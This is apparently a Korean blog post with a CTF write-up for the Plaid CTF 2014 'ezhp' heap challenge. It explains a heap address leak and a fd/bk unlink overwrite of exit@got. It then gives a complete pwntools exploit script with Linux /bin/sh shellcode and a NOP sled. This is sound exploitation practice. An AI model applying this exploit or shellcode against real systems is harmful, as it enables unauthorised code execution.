ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Plaid CTF 2014 ezhp
    CTF 2016. 11. 28. 02:25

    이건 그나마 쉽게 풀 수 있었다. 한 1~2시간 삽질하니 풀리니까 기분이 좋다 ㅎㅎㅎ


    원래 몇일씩 삽질했는데 이건 몇시간만에 풀리니 뜻깊었음 ㅠ


    근데 나만 이렇게푼듯. ㅋ;;;


    fd와 bk로, 쉽게 exit@got를 덮을수있었고, NX가 꺼져있었기때문에 힙주소를 덮어주되 힙에는 쉘코드와 놉을 두었다.




    1번메뉴는 buf 전역변수에 malloc으로 할당을 해준다. 


    청크갯수가 1022만아니면된다.




    2번메뉴는  할당할 chunk를 free한다.




    size와 data를 입력받고 해당청크에 데이터를 작성한다.



    청크의 데이터들을 출력해준다. 여기서 릭을 했음.




    exit@got를 힙주소로 덮고, 힙주소를 구경해보자 




    청크는 이런식으로 쉘코드와 nop을 작성해주면된다. 이것은 아직 쉘이 따이지 않는데, 0x9427000으로 점프하기때문에 세그폴이 발생한다.


    2번 청크를 만들고 2번청크에도 똑같이 만들어주면 쉘이 따인다.


    (익스참고)


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    from pwn import *
     
    = remote("10.211.55.3",9908)
     
     
    def malloc(size):
        print p.recvuntil("option.")
        p.sendline("1")
        print p.recvuntil("size.")
        p.sendline(str(size))
     
    def free(idx):
        print p.recvuntil("option.")
        p.sendline("2")
        print p.recvuntil("id.")
        p.sendline(str(idx))
     
    def write(idx,size,data):
        print p.recvuntil("option.")
        p.sendline("3")
        print p.recvuntil("id.")
        p.sendline(str(idx))
        print p.recvuntil("size.")
        p.sendline(str(size))
        print p.recvuntil("data.")
        p.send(data)
     
    def list(idx):
        print p.recvuntil("option.")
        p.sendline("4")
        print p.recvuntil("id.")
        p.sendline(str(idx))
     
    raw_input()
    malloc(256)
     
    payload = "A"*272
    write(0,len(payload),payload)
     
    list(0)
    print p.recvuntil(payload)
    heap_base = u32(p.recv(4))
    heap_data = heap_base + 0xc
    log.info("Heap Base: " + hex(heap_base))
    log.info("Heap Data: " + hex(heap_data))
    free(0)
     
     
     
    malloc(256)
     
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
    payload = "\x90"*72
    payload += shellcode
    payload += "\x90"*164
    payload += p32(heap_data)
    payload += p32(0x804a010-8)
    payload += "a"*20
    write(1,400,payload)
     
    malloc(4)
     
     
     
    write(2,100,payload)
     
     
     
    p.interactive()
    cs




    'CTF' 카테고리의 다른 글

    SECCON CTF 2016 - jmper  (1) 2016.12.11
    [BCTF 2016] Memo  (0) 2016.11.28
    [Belluminar 2016] remuheap  (2) 2016.11.27
    HITCON 2014 stkof  (0) 2016.11.26
    HITCON 2016 secret_holder  (0) 2016.11.23

    댓글

Designed by Tistory.